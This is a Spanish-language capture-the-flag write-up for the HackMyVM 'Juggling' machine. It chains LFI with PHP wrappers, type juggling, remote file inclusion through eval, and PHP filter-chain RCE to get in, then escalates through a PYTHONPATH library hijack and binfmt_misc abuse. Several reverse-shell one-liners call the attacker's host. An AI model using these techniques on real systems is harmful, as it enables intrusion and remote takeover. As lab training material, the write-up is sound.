HackMyVM: Juggling Writeup | Hard

Table of Contents

HackMyVM: Juggling Writeup

Welcome to my detailed writeup of the hard difficulty machine “Juggling” on HackMyVM. This writeup will cover the steps taken to achieve initial foothold and escalation to root.

TCP Enumeration

1$ rustscan -a 192.168.182.6 --ulimit 5000 -g                                                            
2192.168.182.6 -> [22,80]
 1$ nmap -p22,80 -sCV 192.168.182.6 -oN allPorts
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-15 15:38 CEST
 3Nmap scan report for 192.168.182.6
 4Host is up (0.00025s latency).
 5
 6PORT   STATE SERVICE VERSION
 722/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
 8| ssh-hostkey: 
 9|   3072 27:71:24:58:d3:7c:b3:8a:7b:32:49:d1:c8:0b:4c:ba (RSA)
10|   256 e2:30:67:38:7b:db:9a:86:21:01:3e:bf:0e:e7:4f:26 (ECDSA)
11|_  256 5d:78:c5:37:a8:58:dd:c4:b6:bd:ce:b5:ba:bf:53:dc (ED25519)
1280/tcp open  http    nginx 1.18.0
13|_http-title: Did not follow redirect to http://juggling.hmv
14|_http-server-header: nginx/1.18.0
15MAC Address: 08:00:27:9F:39:74 (Oracle VirtualBox virtual NIC)
16Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
17
18Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
19Nmap done: 1 IP address (1 host up) scanned in 7.52 seconds

UDP Enumeration

 1$ sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 192.168.182.6 -oN allPorts.UDP
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-15 15:39 CEST
 3Nmap scan report for 192.168.182.6
 4Host is up (0.00026s latency).
 5Not shown: 1494 open|filtered udp ports (no-response)
 6PORT      STATE  SERVICE
 719/udp    closed chargen
 81038/udp  closed mtqp
 91645/udp  closed radius
1020762/udp closed unknown
1130303/udp closed unknown
1231115/udp closed unknown
13MAC Address: 08:00:27:9F:39:74 (Oracle VirtualBox virtual NIC)
14
15Nmap done: 1 IP address (1 host up) scanned in 0.92 seconds

Del escaneo inicial encontramos el dominio juggling.hmv, lo añadimos al /etc/hosts

Quitando eso, no encontramos nada relevante y el único punto de entrada posible es el puerto 80/TCP, así que vamos a ello.

HTTP Enumeration

whatweb nos reporta que estamos frente a un servidor que soporta PHP y que probablemente haya un panel de inicio de sesión.

1$ whatweb http://juggling.hmv
2http://juggling.hmv [200 OK] Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.18.0], IP[192.168.182.6], JQuery, PasswordField[password], Script, Title[Juggling], nginx[1.18.0]

Así se ve el sitio web, efectivamente estamos ante un panel de autenticación. Write-up Image

Podemos intentar autenticarnos y descubrimos que val1 y val2 no puede valer lo mismo por alguna razón. Write-up Image

Pero igualmente no conseguimos nada, tampoco parece ser que sea vulnerable a SQLi. Write-up Image

Viendo el código del formulario vemos algo extraño, un recurso blog.php que parece aceptar un parámetro page Write-up Image

Y podemos cargar un recurso PHP a través de este parámetro. Write-up Image

Local File Inclusion + PHP Base64 Wrappers

Lo único malo de esto, es que por detrás se está añadiendo el .php al input del usuario, por lo cual en principio solo se puede un recurso PHP.

Probando un rato, decidí leer el código fuente de los archivos para saber que estaba pasando por detrás, esto lo podemos conseguir aprovechándonos del parámetro que permite incluir un recurso PHP y utilizando un Wrapper para codificar el contenido en base64.

Write-up Image Nótese que no estoy añadiendo el .php ya que por detrás el recurso blog.php lo añade automáticamente.

Ahora podemos decodificar todo el texto y añadirlo a un archivo para analizarlo.

1$ echo "BASE64" | base64 -d > index.php

De este archivo encontramos varias cosas interesantes, un recurso que aparentemente contiene configuraciones para una base de datos, sqldb_config.php Write-up Image

Un recurso administrativo, admin.php Write-up Image

PHP Code Analysis

Y este apartado de código.

 1if (isset($_POST['submit'])) {
 2        $username = $_POST['username'];
 3        $password = $_POST['password'];
 4        $val1 = $_POST['val1'];
 5        $val2 = $_POST['val2'];
 6
 7        $magicval = strcasecmp($val1,$val2);
 8        $key = md5("$username".$password);
 9        if (empty($val) && empty($val2)) {
10            echo '<br><h1 style="text-align:center;color:red;"> Value 1 and Value2 can\'t be Empty </h1>';
11            header("Refresh:3");
12        } else {
13            if ($val1 === $val2) {
14                echo '<br><h1 style="text-align:center;color:red;"> Value 1 and Value2 can\'t be Same </h1>';
15                header("Refresh:3");
16            } else {
17                if ($key == number_format($magicval * 1337)) {
18                    $_SESSION['username'] = "ryan";
19                    header("Location: admin.php"); die();
20                    # header("Location: http://s3cur3.juggling.hmv/index.php");
21                    header("Location: ../s3cur3/index.php");
22                } else {
23                    header("Refresh:3");
24                }
25            }
26        }
27    }

De esto encontramos lo primero, un subdominio s3cur3.juggling.hmv el cual lo vamos a añadir al /etc/hosts

Este subdominio parece que no puedo acceder, quizás con una cookie de sesión de un usuario autenticado si que pueda.

Antes de analizar el código, vamos a ver que contiene los recursos sqldb_config.php y admin.php

SQLDB_CONFIG.PHP

 1<?php
 2    $servername = "localhost";
 3    $username = "juggler";
 4    $password = "juggler#2021";
 5    $dbname = "jugglingdb";
 6
 7    $conn = mysqli_connect($servername, $username, $password, $dbname);
 8
 9    // if ($conn) {
10    //    echo "Connection Successful";
11    // } else {
12    //    echo "Connection failed";
13    // }
14?>

Tenemos unas credenciales.

ADMIN.PHP

 1<?php
 2    session_start();
 3
 4    if(!isset($_SESSION['username'])) {
 5        header("Location:index.php");
 6        die();
 7    }
 8?>
 9<!DOCTYPE html>
10<html lang="en">
11<head>
12        <meta charset="UTF-8">
13        <title>Welcome</title>
14    <link rel="stylesheet" href="css/bootstrap.min.css">
15        <style>
16        .wrapper{ 
17                width: 500px; 
18                padding: 20px; 
19        }
20        .wrapper h1 {
21            text-align: center;
22            margin-top: 250px;
23            margin-left: 100px;
24            margin-bottom: 50px;
25            width: 50%;
26            padding: 10px;
27        }
28        .wrapper form .form-group span {color: red;}
29        </style>
30</head>
31<body>
32        <main>
33                <section class="container wrapper">
34                        <div class="page-header">
35                                <h1 class="display-5">Welcome <?php echo $_SESSION['username']; ?></h1>
36                        </div>
37                        <a href="logout.php" class="btn btn-block btn-outline-danger">Logout</a>
38                </section>
39        </main>
40</body>
41</html>

Este apartado de código simplemente muestra un saludo al usuario autenticado, así que no me interesa.

Estas credenciales, juggler:juggler#2021 no me sirven de nada ya que no son válidas ni para SSH ni para el panel de autenticación.

Volviendo al código PHP anterior.

Aquí lo importante y lo que llamó mi atención.

Tengo que conseguir que $key valga igual que number_format($magicval * 1337)

Sabiendo que $key es un hash MD5 del usuario y la contraseña y que $magicval es la comparativa entre los valores val1 y val2 multiplicado por 1337.

PHP Type Juggling (intented path)

En este punto yo ya había conseguido la shell pero de otra forma que no era la intencionada, entonces voy a explicar cual es la forma intencionada, en la comparativa $key == number_format($magicval * 1337), si conseguimos que $key empiece por 0e que esto es posible ya que sabemos como se genera el hash MD5, conseguiríamos que en la comparativa PHP interprete ambos lados de la comparación como números, porque 0e es una connotación científica válida, es un exponente.

Entonces si conseguimos que $key sea un hash MD5 cuyo inicio sea 0e y hacemos que la $magicval que es la comparativa entre $val1 y $val2 sea 0 (que sean iguales).

PHP al hacer el $key == number_format($magicval * 1337), convertirá $key a número (float(0)) y lo comparará con el $magicval que también sería 0.

Ahora solo falta encontrar que hash MD5 empiece por 0e... y el resto sean números para que sea una connotación científica válida.

En PayloadAllTheThings tenemos un apartado con hashes MD5 para estos casos en específico.

Y podemos ver que 0e1137126905 por ejemplo genera el hash que queremos.

Entonces primero vamos a quitar el atributo pattern de la contraseña para poder poner lo que yo quiera. Write-up Image

Y siguiendo la lógica del código que hemos analizado, si pongo una parte del string 0e1137126905 como usuario, y otra parte en la contraseña. Por detrás generará el hash MD5 0e291659922323405260514745084877 Write-up Image

Luego si hacemos que los campos val1 y val2 sean iguales pero uno en mayúsculas y otro en minúsculas, a la hora de ejecutar la función strcasecmp() por detrás se generará un “0” Write-up Image

Y así cuando hace la comparativa, PHP al ver que el hash MD5 es una connotación científica válida convertirá ese lado de la comparativa a float(0) y todos sabemos que 0==0 es verdadero, así que iniciaremos sesión.

Si le damos Enter.. Write-up Image

Foothold (intended path)

Ahora bien, todo esto ¿para qué?.

Recordemos lo siguiente, supuestamente existe el recurso ../s3cur3/index.php, vamos a echarle un vistazo a través del LFI usando el Wrapper para codificarlo en base64. Write-up Image

Write-up Image

 1<?php
 2    ini_set('session.cookie_domain', $_SERVER['SERVER_NAME']);
 3    session_start();
 4    
 5    if(!isset($_SESSION['username'])) {
 6        header("Location: http://juggling.hmv/");
 7        die();
 8    }
 9    eval(file_get_contents($_POST['system']));
10?>

Abusing eval + file_get_contents -> Remote Command Execution

Y vemos un eval que pinta fatal a nivel de seguridad junto con ese file_get_contents que recordemos que acepta un parámetro que también puede ser un recurso remoto.

Vemos que necesitamos una sesión válida que contenta el username, en nuestro caso ya la tenemos.

Así que vamos a aprovecharnos de esto y a conseguir ejecución remota de comandos.

Vemos que al cargar el recurso no se nos redirecciona, eso es muy buena señal. Vamos a cargarlo de nuevo pero a interceptar la petición con burpsuite Write-up Image

La mandamos al Repeater y vamos a cambiar la solicitud a POST para que nos acepte el parámetro system el cual hemos visto en el código. Write-up Image

Esta es la petición.

 1POST /blog.php?page=../s3cur3/index HTTP/1.1
 2
 3Host: juggling.hmv
 4
 5User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
 6
 7Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
 8
 9Accept-Language: en-US,en;q=0.5
10
11Accept-Encoding: gzip, deflate, br
12
13DNT: 1
14
15Connection: close
16
17Cookie: PHPSESSID=4ajhivjf71a1r3kb4h3obnchmh
18
19Upgrade-Insecure-Requests: 1
20
21Priority: u=0, i
22
23Content-Type: application/x-www-form-urlencoded
24
25Content-Length: 42
26
27
28
29system=http://192.168.182.5:8081/index.php

Y si estamos en escucha vemos que nos llega la petición y está cargando el recurso.

1$ python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
3192.168.182.6 - - [15/Oct/2024 16:43:29] code 404, message File not found
4192.168.182.6 - - [15/Oct/2024 16:43:29] "GET /index.php HTTP/1.1" 404 -

Ahora que hemos confirmado que esto funciona, vamos a crear un recurso pwn

1$ cat pwn 
2system("bash -c 'bash -i >& /dev/tcp/192.168.182.5/443 0>&1'");

Y lo compartimos por el puerto 8081.

1$ python3 -m http.server 8081

Ahora, nos ponemos en escucha con pwncat-cs por el puerto 443.

1$ sudo pwncat-cs -lp 443

Ahora si ponemos nuestro recurso para que sea evaluado en la máquina víctima… Write-up Image

Conseguimos acceso a la máquina víctima.

1$ sudo pwncat-cs -lp 443
2[16:46:32] Welcome to pwncat 🐈!                                                                                                               __main__.py:164
3[16:47:19] received connection from 192.168.182.6:56158                                                                                             bind.py:84
4[16:47:19] 192.168.182.6:56158: registered new host w/ db                                                                                       manager.py:957
5(local) pwncat$                                                                                                                                               
6(remote) www-data@juggling:/var/www/juggling$ id
7uid=33(www-data) gid=33(www-data) groups=33(www-data)

Remote Command Execution (unintended path) (Abusing convert.iconv filter)

Esta máquina se hizo en el 2022, en 2021 se tocaba en la hxp ctf 2021 un caso parecido al que nosotros tenemos, y consiguieron ejecutar código a través del filtro convert.iconv del wrapper php://filter/

Recomiendo leer este artículo para saber a fondo como funciona.

Yo esto lo he explotado en algunas ocasiones y podemos utilizar este PoC para generar una cadena que nos permitirá ejecución de comandos.

Primero nos clonamos el repositorio.

1$ git clone https://github.com/synacktiv/php_filter_chain_generator                                                                                   
2Cloning into 'php_filter_chain_generator'...                                                                                                                  
3remote: Enumerating objects: 11, done.                                                                                                                        
4remote: Counting objects: 100% (11/11), done.                                                                                                                 
5remote: Compressing objects: 100% (7/7), done.                                                                                                                
6remote: Total 11 (delta 4), reused 10 (delta 4), pack-reused 0 (from 0)                                                                                       
7Receiving objects: 100% (11/11), 5.23 KiB | 5.23 MiB/s, done.                                                                                                 
8Resolving deltas: 100% (4/4), done.

Ahora simplemente vamos a utilizar el script para generar una cadena que resultará en el código para ejecutar un phpinfo()

1$ python3 php_filter_chain_generator.py --chain '<?php phpinfo(); ?>  '

Copiamos todo ese “churraco”. Write-up Image

Y vemos que funciona y conseguimos ejecutar el phpinfo() Write-up Image

Ahora para conseguir ejecutar comandos, simplemente a través del parámetro chain podemos especificarle lo siguiente al script.

1$ python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>  '

Nos copiamos toda la cadena y la pegamos. También añadimos el comando a ejecutar mediante el query param c. Write-up Image

Ahora para conseguir la reverse shell, nos ponemos en escucha con pwncat-cs por el puerto 443.

1$ sudo pwncat-cs -lp 443

Ejecutamos el one-liner típico para enviarnos una consola (URL-Encodeando el carácter &) Write-up Image

Y conseguimos una consola interactiva como www-data

1$ sudo pwncat-cs -lp 443
2
3[17:00:46] Welcome to pwncat 🐈!                                                                                                                                               __main__.py:164
4[17:01:20] received connection from 192.168.182.6:56160                                                                                                                             bind.py:84
5[17:01:20] 192.168.182.6:56160: registered new host w/ db                                                                                                                       manager.py:957
6(local) pwncat$                                                                                                                                                                               
7(remote) www-data@juggling:/var/www/juggling$ id
8uid=33(www-data) gid=33(www-data) groups=33(www-data)

Library Hijacking + Abusing SETENV -> User Pivoting

Vemos que existe un usuario en el sistema llamado rehan

1(remote) www-data@juggling:/var/www/juggling$ cat /etc/passwd | grep bash
2root:x:0:0:root:/root:/bin/bash
3rehan:x:1001:1001::/home/rehan:/bin/bash

Vemos que como www-data podemos ejecutar el script /opt/md5.py como rehan y además podemos establecer las variables de entornos, variables interesantes como el Path de librerías de Python (por ejemplo).

1(remote) www-data@juggling:/var/www/juggling$ sudo -l
2Matching Defaults entries for www-data on juggling:
3    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
4
5User www-data may run the following commands on juggling:
6    (rehan) SETENV: NOPASSWD: /opt/md5.py

Este es el contenido del script.

1#!/usr/bin/python3
2
3import hashlib
4
5result = hashlib.md5("Hello World".encode()).hexdigest()
6print(f"md5sum: {result}")

Y como podemos controlar el path donde python va a buscar por la librería hashlib, podríamos secuestrar esta librería para ejecutar un comando como rehan

La variable de entorno que se encarga de buscar las librerías de python es PYTHONPATH

PYTHONPATH is an environment variable which you can set to add additional directories where python will look for modules and packages.

En la máquina víctima, vamos al directorio /tmp y vamos a crear un archivo llamado hashlib.py donde este archivo sería la librería que quiere cargar python, y vamos a mandarnos una reverse shell.

1(remote) www-data@juggling:/tmp$ cat hashlib.py 
2import os
3os.system('bash -c "bash -i >& /dev/tcp/192.168.182.5/443 0>&1"')

Ahora, si estamos en escucha por el puerto 443 con pwncat-cs y ejecutamos el script /opt/md5.py como rehan pero estableciendo la variable de entorno PYTHONPATH a /tmp conseguimos una consola como rehan

1(remote) www-data@juggling:/tmp$ sudo -u rehan PYTHONPATH=/tmp /opt/md5.py
1$ sudo pwncat-cs -lp 443
2[17:09:03] Welcome to pwncat 🐈!                                                                 __main__.py:164
3[17:09:05] received connection from 192.168.182.6:56164                                               bind.py:84
4[17:09:05] 192.168.182.6:56164: registered new host w/ db                                         manager.py:957
5(local) pwncat$                                                                                                 
6(remote) rehan@juggling:/tmp$ id
7uid=1001(rehan) gid=1001(rehan) groups=1001(rehan)

Podemos encontrar la flag de usuario.

1(remote) rehan@juggling:/home/rehan$ cat user.txt 
2de0a7d9cb0e1ae...

Privilege Escalation

Haciendo un reconocimiento básico de la máquina, encontramos una capability extraña.

1(remote) rehan@juggling:/home/rehan$ getcap -r / 2>/dev/null
2/usr/bin/ping cap_net_raw=ep
3/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
4/usr/local/bin/register cap_dac_override=ep

Haciendo una consulta a HackTricks vemos que esta capability sirve para poder escribir cualquier archivo.

Además se nos dice que podríamos por ejemplo, sobrescribir un binario que sea de root para conseguir ejecutar código como superusuario, o podríamos sobreescribir el /etc/passwd

Pero bueno, esta capability la tenemos para un binario en concreto, /usr/local/bin/register

Este binario tiene pinta de ser un binario personalizado, así que vamos a descargarlo a nuestra máquina de atacante y a echarle un vistazo.

Abusing DAC_OVERRIDE + Overwriting binfmt_misc

1$ file register 
2register: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=77b1bc1a5d6700dad83368f9586364ab0a245447, for GNU/Linux 3.2.0, not stripped

Con ghidra podemos descompilar el binario y vemos lo siguiente.

 1undefined8 main(void)
 2
 3{
 4  size_t __n;
 5  char local_218 [524];
 6  int local_c;
 7  
 8  read(0,local_218,0x200);
 9  local_c = open(/proc/sys/fs/binfmt_misc/register,1);
10  __n = strlen(local_218);
11  write(local_c,local_218,__n);
12  close(local_c);
13  return 0;
14}

Una búsqueda en Google nos revela un repositorio en Github Write-up Image

Gracias a este repositorio podemos conseguir escalar privilegios si /proc/sys/fs/binfmt_misc/register es writable, en nuestro caso lo es pero indirectamente, es decir, lo podemos escribir pero a través del script /usr/local/bin/register

Vamos a clonarnos el repositorio.

1$ git clone https://github.com/toffan/binfmt_misc
2Cloning into 'binfmt_misc'...
3remote: Enumerating objects: 42, done.
4remote: Total 42 (delta 0), reused 0 (delta 0), pack-reused 42 (from 1)
5Receiving objects: 100% (42/42), 17.83 KiB | 608.00 KiB/s, done.
6Resolving deltas: 100% (20/20), done.

Nos subimos el exploit.

1(local) pwncat$ upload /home/pointedsec/Desktop/juggling/content/binfmt_misc/binfmt_rootkit
2./binfmt_rootkit ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 2.0/2.0 kB • ? • 0:00:00
3[17:28:18] uploaded 2.05KiB in 0.24 seconds 

Si lo intentamos ejecutar vemos que nos dice que no podemos escribir en el recurso.

1(remote) rehan@juggling:/home/rehan$ chmod +x binfmt_rootkit 
2(remote) rehan@juggling:/home/rehan$ ./binfmt_rootkit 
3Error: /proc/sys/fs/binfmt_misc/register is not writeable

Vamos a hacer unos ajustes al script, primero vamos a borrar esta función ya que nos vamos a saltar la comprobación de si se puede escribir o no. Write-up Image

Borramos la comprobación. Write-up Image

Ahora en este punto, al final del exploit, vemos que el contenido de $binfmt_line lo mete en $mountpoint/register. Write-up Image

En nuestro caso queremos que lo introduzca como “buffer” al script que hemos descompilado, es decir /usr/local/bin/register, para que así, indirectamente sobreescriba el contenido de /proc/sys/fs/binfmt_misc/register con el exploit.

Entonces lo vamos a dejar así, pipeando el contenido del exploit a nuestro binario. Write-up Image

Entonces, ahora solo falta guardar y ejecutar el exploit.

1(remote) rehan@juggling:/home/rehan$ ./binfmt_rootkit 
2uid=0(root) euid=0(root)
3# id
4uid=0(root) gid=1001(rehan) groups=1001(rehan)

Y nos convertimos en root, podemos leer la flag.

1# cat root.txt
25401cd51a7ec8dd...

¡Y ya estaría!

Happy Hacking! 🚀

#HackMyVM   #Juggling   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #Reverse Shell   #Privilege Escalation   #RCE   #Exploit   #Linux   #HTTP Enumeration   #Local File Inclusion   #Abusing PHP Wrappers   #Code Analysis   #PHP Code Analysis   #PHP Type Juggling   #Abusing File_get_contents   #Abusing Convert.iconv Filter   #Library Hijacking   #Abusing SETENV   #User Pivoting   #Binary Decompiling   #Static Binary Analysis   #Abusing DAC_OVERRIDE   #Overwriting Binfmt_misc